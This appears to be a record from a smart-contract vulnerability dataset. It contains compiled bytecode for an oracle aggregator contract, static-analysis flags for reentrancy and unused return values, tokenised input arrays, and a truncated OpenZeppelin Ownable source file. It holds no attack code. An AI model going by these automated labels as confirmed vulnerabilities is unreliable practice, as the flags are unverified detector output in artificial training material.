00000000000604482015290519081900360640190fd5b60008054337fffffffffffffffffffffffff00000000000000000000000000000000000000008083168217845560018054909116905560405173ffffffffffffffffffffffffffffffffffffffff90921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b7f000000000000000000000000000000000000000000000000016345785d8a000081565b60005473ffffffffffffffffffffffffffffffffffffffff16331461248957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600e5460ff16610d0357600e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040517faebf329500988c6488a0074e5a0a9ff304561fc5c6fc877aeb1d59c8282c348090600090a1565b600061252c336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b61259757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f6146ce565b60005473ffffffffffffffffffffffffffffffffffffffff16331461262557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604090205460ff16156126d45773ffffffffffffffffffffffffffffffffffffffff81166000818152600f602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055815192835290517f3d68a6fce901d20453d1a7aa06bf3950302a735948037deb182a8db66df2a0d19281900390910190a15b50565b60008080808080808033321461274e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f66662d636861696e2072656164696e67206f6e6c7900000000000000000000604482015290519081900360640190fd5b63ffffffff8916156128695763ffffffff89166000908152600960209081526040808320600a9092529091206127848c8c61470a565b73ffffffffffffffffffffffffffffffffffffffff8d1660009081526008602052604090206001908101548482015491840154600d548f9367ffffffffffffffff169168010000000000000000900463ffffffff16906fffffffffffffffffffffffffffffffff166127f4611f95565b600189015467ffffffffffffffff16612821576004546fffffffffffffffffffffffffffffffff16612849565b60018801546c0100000000000000000000000090046fffffffffffffffffffffffffffffffff165b8363ffffffff169350995099509950995099509950995099505050612883565b6128728a614760565b975097509750975097509750975097505b9295985092959890939650565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b336000908152600b602052604081205460ff1661292a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6e6f7420617574686f72697a6564207265717565737465720000000000000000604482015290519081900360640190fd5b60075463ffffffff1660008181526009602052604090206001015468010000000000000000900467ffffffffffffffff1615158061296c575061296c81614977565b6129d757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7072657620726f756e64206d75737420626520737570657273656461626c6500604482015290519081900360640190fd5b60006129ee63ffffffff80841690600190614a0a16565b90506129f981614a87565b63ffffffff1691505090565b6000806000806000612a4e336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612ab957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b612ac286614b8f565b939a9299509097509550909350915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314612b5a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604090205460ff166126d45773ffffffffffffffffffffffffffffffffffffffff81166000818152600f602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055815192835290517f87286ad1f399c8e82bf0c4ef4fcdc570ea2e1e92176e5c848b6413545b885db49281900390910190a150565b8015612c7a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f7472616e7366657220646f65736e2774206163636570742063616c6c64617461604482015290519081900360640190fd5b612c82611d1c565b50505050565b6000612ccb336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612d3657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6121ff82614d05565b6000612d82336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b612ded57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6121ff82614d39565b60005473ffffffffffffffffffffffffffffffffffffffff163314612e7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600d546004546fffffffffffffffffffffffffffffffff918216918391612eb491612ea79116613e28565b839063ffffffff6145e916565b1015612f2157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f696e73756666696369656e7420726573657276652066756e6473000000000000604482015290519081900360640190fd5b600254604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015612f9d57600080fd5b505af1158015612fb1573d6000803e3d6000fd5b505050506040513d6020811015612fc757600080fd5b505161303457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f746f6b656e207472616e73666572206661696c65640000000000000000000000604482015290519081900360640190fd5b611231611d1c565b6004546fffffffffffffffffffffffffffffffff1681565b60045474010000000000000000000000000000000000000000900463ffffffff1681565b600d5470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1690565b600e5460ff1681565b73ffffffffffffffffffffffffffffffffffffffff166000908152600860205260409020546fffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff82811660009081526008602052604090206002015462010000900416331461318557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f6e6c792063616c6c61626c652062792061646d696e00000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff82811660008181526008602090815260409182902060030180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169486169485179055815133815290810193909352805191927fb79bf2e89c2d70dde91d2991fb1ea69b7e478061ad7c04ed5b02b96bc52b8104929081900390910190a25050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146132a357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000806000806000613362336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b6133cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6133d5614d7e565b945094509450945094509091929394565b73ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604090205460075460609163ffffffff7001000000000000000000000000000000009091048116911681613474576040518060400160405280601281526020017f6e6f7420656e61626c6564206f7261636c650000000000000000000000000000815250925050506121ff565b8363ffffffff168263ffffffff1611156134c7576040518060400160405280601681526020017f6e6f742079657420656e61626c6564206f7261636c6500000000000000000000815250925050506121ff565b73ffffffffffffffffffffffffffffffffffffffff851660009081526008602052604090205463ffffffff80861674010000000000000000000000000000000000000000909204161015613554576040518060400160405280601881526020017f6e6f206c6f6e67657220616c6c6f776564206f7261636c650000000000000000815250925050506121ff565b73ffffffffffffffffffffffffffffffffffffffff851660009081526008602052604090205463ffffffff808616780100000000000000000000000000000000000000000000000090920416106135e4576040518060400160405280602081526020017f63616e6e6f74207265706f7274206f6e2070726576696f757320726f756e6473815250925050506121ff565b8063ffffffff168463ffffffff1614158015613620575061361063ffffffff80831690600190614a0a16565b63ffffffff168463ffffffff1614155b801561363357506136318482614da7565b155b15613677576040518060400160405280601781526020017f696e76616c696420726f756e6420746f207265706f7274000000000000000000815250925050506121ff565b8363ffffffff166001141580156136a857506136a66136a163ffffffff80871690600190614e0d16565b614e8a565b155b156136ec576040518060400160405280601f81526020017f70726576696f757320726f756e64206e6f7420737570657273656461626c6500815250925050506121ff565b505092915050565b6136fd81614eca565b613706576126d4565b3360009081526008602052604090205460045463ffffffff7c01000000000000000000000000000000000000000000000000000000009092048216917801000000000000000000000000000000000000000000000000909104811682019083161180159061377357508015155b1561377e57506126d4565b61378782614efb565b50336000908152600860205260409020805463ffffffff83167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911617905550565b6137ee8161518a565b61385957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f726f756e64206e6f7420616363657074696e67207375626d697373696f6e7300604482015290519081900360640190fd5b63ffffffff81166000818152600a602090815260408083208054600180820183559185528385200187905533808552600890935281842080547fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff1678010000000000000000000000000000000000000000000000008702178155018690555190929185917f92e98423f8adac6e64d0608e519fd1cefb861498385c6dee70d58fc926ddc68c9190a45050565b63ffffffff8082166000908152600a60205260408120600181015490549192839264010000000090920416111561394157506000905080613ab0565b63ffffffff83166000908152600a6020908152604080832080548251818502810185019093528083526139a79383018282801561399d57602002820191906000526020600020905b815481526020019060010190808311613989575b50505050506151aa565b63ffffffff851660008181526009602090815260409182902084815560010180547fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff16680100000000000000004267ffffffffffffffff811691909102919091177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000860217909155600780547fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff16640100000000860217905582519081529151939450919284927f0559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5f928290030190a36001925090505b915091565b63ffffffff81166000908152600a60205260409020600101546c0100000000000000000000000090046fffffffffffffffffffffffffffffffff16613af8615e5a565b5060408051808201909152600d546fffffffffffffffffffffffffffffffff808216808452700100000000000000000000000000000000909204166020830152613b48908363ffffffff61454e16565b6fffffffffffffffffffffffffffffffff90811682526020820151613b7491168363ffffffff61527416565b6fffffffffffffffffffffffffffffffff90811660208084018290528351600d80547001000000000000000000000000000000009094029185167fffffffffffffffffffffffffffffffff000000000000000000000000000000009094169390931784161790915533600090815260089091526040902054613bfd91168363ffffffff61527416565b3360009081526008602052604080822080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff948516179055835190519216917ffe25c73e3b9089fac37d55c4c7efcba6f04af04cebd2fc4d6d7dbb07e1e5234f9190a2505050565b63ffffffff8082166000908152600a602052604090206001810154905491161115613ca2576126d4565b63ffffffff81166000908152600a6020526040812090613cc28282615e71565b5060010180547fffffffff0000000000000000000000000000000000000000000000000000000016905550565b60035473ffffffffffffffffffffffffffffffffffffffff1680613d135750610e22565b6000613d2a63ffffffff80861690600190614e0d16565b63ffffffff80821660009081526009602090815260408083206001810154905482517fbeed9b5100000000000000000000000000000000000000000000000000000000815270010000000000000000000000000000000090920486166004830181905260248301829052958b166044830152606482018a905291519596509394909373ffffffffffffffffffffffffffffffffffffffff88169363beed9b5193620186a093608480850194929391928390030190829088803b158015613def57600080fd5b5087f193505050508015613e1557506040513d6020811015613e1057600080fd5b505160015b613e1e57613e20565b505b505050505050565b60006121ff6002613e4a613e3a611f95565b859060ff1663ffffffff6152fd16565b9063ffffffff6152fd16565b613e5f81615370565b613eca57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6f7261636c65206e6f7420656e61626c65640000000000000000000000000000604482015290519081900360640190fd5b600754613ee39063ffffffff90811690600190614a0a16565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600860205260408120805463ffffffff9390931674010000000000000000000000000000000000000000027fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff90931692909217909155600c613f736001613f64611f95565b60ff169063ffffffff6145e916565b81548110613f7d57fe5b60009182526020808320919091015473ffffffffffffffffffffffffffffffffffffffff85811680855260089093526040808520600290810180549390941680875291862001805461ffff9093167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009384168117909155939094528154169055600c805492935090918391908390811061401357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c80548061406657fe5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590910190915560405173ffffffffffffffffffffffffffffffffffffffff8516907f18dd09695e4fbdae8d1a5edb11221eb04564269c29a089b9753a6535c54ba92e908390a3505050565b6000828201838110156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b61418382615370565b156141ef57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f7261636c6520616c726561647920656e61626c656400000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661427157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f63616e6e6f74207365742061646d696e20746f20300000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8281166000908152600860205260409020600201546201000090041615806142e0575073ffffffffffffffffffffffffffffffffffffffff8281166000908152600860205260409020600201546201000090048116908216145b61434b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6f776e65722063616e6e6f74206f76657277726974652061646d696e00000000604482015290519081900360640190fd5b614354826153b9565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526008602052604080822080547fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff63ffffffff97909716700100000000000000000000000000000000027fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff909116179590951677ffffffff0000000000000000000000000000000000000000178555600c80546002909601805461ffff9097167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000909716969096178655805460018181019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180547fffffffffffffffffffffffff00000000000000000000000000000000000000001685179055838352855494871662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909516949094179094559251919290917f18dd09695e4fbdae8d1a5edb11221eb04564269c29a089b9753a6535c54ba92e9190a38073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f0c5055390645c15a4be9a21b3f8d019153dcb4a0c125685da6eb84048e2fe90460405160405180910390a35050565b6000826fffffffffffffffffffffffffffffffff16826fffffffffffffffffffffffffffffffff1611156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828211156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b600754640100000000900463ffffffff1660009081526009602052604090205490565b600754640100000000900463ffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205460ff16806121fc575050600e5460ff161592915050565b600754640100000000900463ffffffff1660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff1690565b63ffffffff811660009081526009602052604081206001015467ffffffffffffffff16156147565761473b8261518a565b801561474f575061474c83836133e6565b51155b90506121ff565b61473b8383615441565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600860205260408120600754815483928392839283928392839283927fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b929091849163ffffffff90811678010000000000000000000000000000000000000000000000009092041614806147ff57506007546147fd9063ffffffff1661518a565b155b6007549091506148149063ffffffff16614e8a565b801561481d5750805b1561487f5760075461483b9063ffffffff90811690600190614a0a16565b63ffffffff81166000908152600960205260409020600454919b506fffffffffffffffffffffffffffffffff909116945092506148788c8b615441565b9a506148db565b60075463ffffffff166000818152600960209081526040808320600a90925290912060010154919b506c010000000000000000000000009091046fffffffffffffffffffffffffffffffff16945092506148d88a61518a565b9a505b6148e58c8b6133e6565b51156148f05760009a505b6001808301548482015463ffffffff808e166000908152600a6020526040902090930154600d548f948f949367ffffffffffffffff169268010000000000000000900416906fffffffffffffffffffffffffffffffff1661494f611f95565b8a8363ffffffff1693509a509a509a509a509a509a509a509a50505050919395975091939597565b63ffffffff8082166000908152600960209081526040808320600190810154600a9093529083200154919267ffffffffffffffff909116916801000000000000000090041681158015906149d1575060008163ffffffff16115b8015614a025750426149f667ffffffffffffffff841663ffffffff808516906154c616565b67ffffffffffffffff16105b949350505050565b600082820163ffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b614a9081614eca565b614a99576126d4565b336000908152600b602052604090205463ffffffff6501000000000082048116916101009004811682019083161180614ad0575080155b614b3b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f6d7573742064656c617920726571756573747300000000000000000000000000604482015290519081900360640190fd5b614b4482614efb565b50336000908152600b60205260409020805463ffffffff831665010000000000027fffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffffff90911617905550565b6000806000806000614b9f615e8f565b5063ffffffff80871660009081526009602090815260409182902082516080810184528154815260019091015467ffffffffffffffff808216938301939093526801000000000000000081049092169281019290925270010000000000000000000000000000000090049091166060820181905215801590614c315750614c318769ffffffffffffffffffff16615547565b6040518060400160405280600f81526020017f4e6f20646174612070726573656e74000000000000000000000000000000000081525090614ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610fbe578181015183820152602001610fa6565b508051602082015160408301516060909301519899919867ffffffffffffffff91821698509216955063ffffffff9091169350915050565b6000614d1082615547565b15614d31575063ffffffff8116600090815260096020526040902054612115565b506000919050565b6000614d4482615547565b15614d31575063ffffffff811660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff16612115565b60008060008060006133d5600760049054906101000a900463ffffffff1663ffffffff16612a05565b60008163ffffffff16614dca60018563ffffffff16614a0a90919063ffffffff16565b63ffffffff161480156121fc57505063ffffffff1660009081526009602052604090206001015468010000000000000000900467ffffffffffffffff1615919050565b60008263ffffffff168263ffffffff1611156145e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b63ffffffff811660009081526009602052604081206001015468010000000000000000900467ffffffffffffffff161515806121ff57506121ff82614977565b600754600090614ee69063ffffffff90811690600190614a0a16565b63ffffffff168263ffffffff16149050919050565b614f18614f1363ffffffff80841690600190614e0d16565b615551565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff8316179055614f50615eb6565b5060408051600060a0820181815260c083018452825260045463ffffffff700100000000000000000000000000000000820481166020808601919091527401000000000000000000000000000000000000000083048216858701527c01000000000000000000000000000000000000000000000000000000008304821660608601526fffffffffffffffffffffffffffffffff909216608085015285168252600a8152929020815180519293849361500b9284920190615ee4565b506020828101516001928301805460408087015160608801516080909801517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000090931663ffffffff958616177fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff1664010000000091861691909102177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff166801000000000000000097851697909702969096177fffffffff00000000000000000000000000000000ffffffffffffffffffffffff166c010000000000000000000000006fffffffffffffffffffffffffffffffff90921691909102179055851660008181526009835284902090920180547fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000164267ffffffffffffffff9081169190911791829055845191168152925133937f0109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac6027192908290030190a35050565b63ffffffff9081166000908152600a602052604090206001015416151590565b6000815160001061521c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6c697374206d757374206e6f7420626520656d70747900000000000000000000604482015290519081900360640190fd5b8151600281046001821661525b5760008061524186600060018703600187038761566a565b90925090506152508282615748565b945050505050612115565b61526b84600060018503846157b6565b92505050612115565b60008282016fffffffffffffffffffffffffffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261530c575060006121ff565b8282028284828161531957fe5b04146121fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615f6b6021913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205463ffffffff7401000000000000000000000000000000000000000090910481161490565b60075460009063ffffffff168015801590615419575073ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205463ffffffff8281167401000000000000000000000000000000000000000090920416145b15615425579050612115565b61543a63ffffffff80831690600190614a0a16565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604081205460045463ffffffff7c01000000000000000000000000000000000000000000000000000000009092048216917801000000000000000000000000000000000000000000000000909104811682019084161180614a025750159392505050565b600082820167ffffffffffffffff80851690821610156121fc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b63ffffffff101590565b61555a81614977565b615563576126d4565b600061557a63ffffffff80841690600190614e0d16565b63ffffffff818116600090815260096020908152604080832080548886168552828520908155600191820154910180547fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff1670010000000000000000000000000000000092839004909616909102949094177fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff16680100000000000000004267ffffffffffffffff160217909355600a905290812091925061563c8282615e71565b5060010180547fffffffff000000000000000000000000000000000000000000000000000000001690555050565b60008082841061567957600080fd5b8386111580156156895750848411155b61569257600080fd5b8286111580156156a25750848311155b6156ab57600080fd5b600786860310156156cc576156c38787878787615847565b9150915061573e565b60006156d9888888615cfe565b90508084116156ea57809550615738565b848110156156fd57806001019650615738565b80851115801561570c57508381105b61571257fe5b61571e888883886157b6565b925061572f888260010188876157b6565b915061573e9050565b506156ab565b9550959350505050565b600080831280156157595750600082135b8061576f575060008313801561576f5750600082125b1561578f5760026157808484615ddb565b8161578757fe5b0590506121ff565b6000600280850781850701059050614a026157b06002860560028605615ddb565b82615ddb565b6000818411156157c557600080fd5b828211156157d257600080fd5b8284101561582957600784840310156157fe5760006157f48686868687615847565b509150614a029050565b600061580b868686615cfe565b905080831161581c57809350615823565b8060010194505b506157d2565b84848151811061583557fe5b60200260200101519050949350505050565b60008060008686600101039050600088886000018151811061586557fe5b6020026020010151905060008260011061589f577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6158b7565b8989600101815181106158ae57fe5b60200260200101515b90506000836002106158e9577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615901565b8a8a600201815181106158f857fe5b60200260200101515b9050600084600310615933577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61594b565b8b8b6003018151811061594257fe5b60200260200101515b905060008560041061597d577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615995565b8c8c6004018151811061598c57fe5b60200260200101515b90506000866005106159c7577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6159df565b8d8d600501815181106159d657fe5b60200260200101515b9050600087600610615a11577f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615a29565b8e8e60060181518110615a2057fe5b60200260200101515b905085871315615a37579495945b83851315615a43579293925b81831315615a4f579091905b84871315615a5b579395935b83861315615a67579294925b80831315615a7157915b84861315615a7d579394935b80821315615a8757905b82871315615a93579195915b81861315615a9f579094905b80851315615aa957935b82861315615ab5579194915b80841315615abf57925b82851315615acb579193915b81841315615ad7579092905b82841315615ae3579192915b8d8c0380615af357879a50615bc0565b8060011415615b0457869a50615bc0565b8060021415615b1557859a50615bc0565b8060031415615b2657849a50615bc0565b8060041415615b3757839a50615bc0565b8060051415615b4857829a50615bc0565b8060061415615b5957819a50615bc0565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6b31206f7574206f6620626f756e647300000000000000000000000000000000604482015290519081900360640190fd5b8e8c038d8d1415615bde57508a995061573e98505050505050505050565b80615bf5575096985061573e975050505050505050565b8060011415615c10575095985061573e975050505050505050565b8060021415615c2b575094985061573e975050505050505050565b8060031415615c46575093985061573e975050505050505050565b8060041415615c61575092985061573e975050505050505050565b8060051415615c7c575091985061573e975050505050505050565b8060061415615c97575090985061573e975050505050505050565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f6b32206f7574206f6620626f756e647300000000000000000000000000000000604482015290519081900360640190fd5b6000808460028585010481518110615d1257fe5b602002602001015190506001840393506001830192505b60018401935080858581518110615d3c57fe5b602002602001015112615d29575b60018303925080858481518110615d5d57fe5b602002602001015113615d4a5782841015615dcd57848381518110615d7e57fe5b6020026020010151858581518110615d9257fe5b6020026020010151868681518110615da657fe5b60200260200101878681518110615db957fe5b602090810291909101019190915252615dd6565b8291505061543a565b615d29565b6000828201818312801590615df05750838112155b80615e055750600083128015615e0557508381125b6121fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615f4a6021913960400191505060405180910390fd5b604080518082019091526000808252602082015290565b50805460008255906000526020600020908101906126d49190615f2f565b60408051608081018252600080825260208201819052918101829052606081019190915290565b6040805160a08101825260608082526000602083018190529282018390528101829052608081019190915290565b828054828255906000526020600020908101928215615f1f579160200282015b82811115615f1f578251825591602001919060010190615f04565b50615f2b929150615f2f565b5090565b611d0191905b80821115615f2b5760008155600101615f3556fe5369676e6564536166654d6174683a206164646974696f6e206f766572666c6f77536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212203dfd5ae52fef7bbe05a195d698b0b1b8be56378daa346eaccbc52d24f39c30af64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 20952, 9468, 2549, 20952, 2575, 2094, 2549, 2063, 14142, 2692, 2620, 2278, 8889, 2683, 18939, 2620, 22407, 2581, 2094, 2509, 2278, 2546, 15136, 19797, 2094, 2629, 2063, 2692, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,414
0x96bE46c50E882dbd373081d08E0CDE2B055Adf6c
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != 